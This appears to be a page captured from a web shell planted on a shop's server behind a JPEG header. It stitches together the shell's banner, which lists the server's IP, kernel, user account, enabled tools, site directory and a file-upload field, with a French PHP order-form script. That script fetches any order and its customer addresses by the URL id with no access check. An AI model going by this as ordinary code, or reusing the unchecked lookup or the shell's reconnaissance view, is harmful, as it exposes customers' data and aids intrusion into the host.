ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/fermegarat.com/ |
Upload File : |
<?php
/*
Module : Front-Office - Catégorie
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/
//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//
// Chargement fichiers de configuration.
require('libs/Smarty.class.php');
// Démarrage du moteur TPL.
$smarty = new Smarty;
// Chargement des Fonctions Globals.
require('fonctions.php');
//****************************************************************************************//
//****************************** Information de livraison ********************************//
//****************************************************************************************//
// Commande
$sql = $GLOBALS['bdd']->prepare('SELECT o.*, MAX(os.status) AS status FROM orders o
INNER JOIN order_status os
ON os.id_order = o.id
WHERE o.id_order = :id_order');
$sql->execute(array('id_order' => $_GET['id']));
$order = $sql->fetch();
$smarty->assign("order", $order);
// Produits
$sql = $GLOBALS['bdd']->prepare('SELECT op.*, p.reference, p.name FROM orders_products op
INNER JOIN products p
ON op.id_product = p.id
WHERE id_order = :id_order');
$sql->execute(array('id_order' => $order['id']));
$result = $sql->fetchAll();
$smarty->assign("products", $result);
// Adresse de facturation
$sql = $GLOBALS['bdd']->prepare('SELECT * FROM address
WHERE id = :invoice');
$sql->execute(array('invoice' => $order['invoice_address']));
$result = $sql->fetch();
$smarty->assign("invoice", $result);
// Adresse de livraison
$sql = $GLOBALS['bdd']->prepare('SELECT * FROM address
WHERE id = :delivery');
$sql->execute(array('delivery' => $order['delivery_address']));
$result = $sql->fetch();
$smarty->assign("delivery", $result);
//*************************************** Affichage **************************************//
$smarty->display('order_form.tpl');
?>